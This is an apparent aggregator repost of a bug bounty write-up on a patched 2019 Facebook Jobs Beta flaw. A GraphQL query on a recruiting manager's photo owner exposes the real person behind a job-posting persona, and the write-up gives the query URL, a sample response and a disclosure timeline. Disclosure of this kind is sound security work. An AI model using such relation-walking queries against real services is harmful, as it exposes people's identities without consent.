5

Disclose the owner of a recruiting manager in Jobs Beta

 3 years ago
source link: https://philippeharewood.com/disclose-the-owner-of-a-recruiting-manager-in-jobs-beta/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Disclose the owner of a recruiting manager in Jobs Beta

Facebook has a feature capable of posting jobs on behalf of personas called recruiting managers. It is possible to identify the creator of the persona.

Any job opening with a “LISTED BY” section on the right under https://www.facebook.com/jobs/nearby/all/all/example

1. Request the recruiting manager photo for a given job opening

https://graph.facebook.com/graphql?q=node(JOB_OPENING){recruiting_manager{photo{id,owner{name,id}}}}

This will disclose the page owner personal identity

{
 "JOBOPENINGID": {
   "recruiting_manager": {
       "photo": {
            "id": "PHOTO_ID",
             "owner": {"name": "Some User","id": "4"}
        }
    }
  }
}

Timeline

Nov 19, 2019 – Report sent
Nov 21, 2019 – Confirmation of submission by Facebook
Dec 6, 2019– Confirmation of patch by Facebook
Dec 12, 2019 – Bounty awarded by Facebook


report

Recommend

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK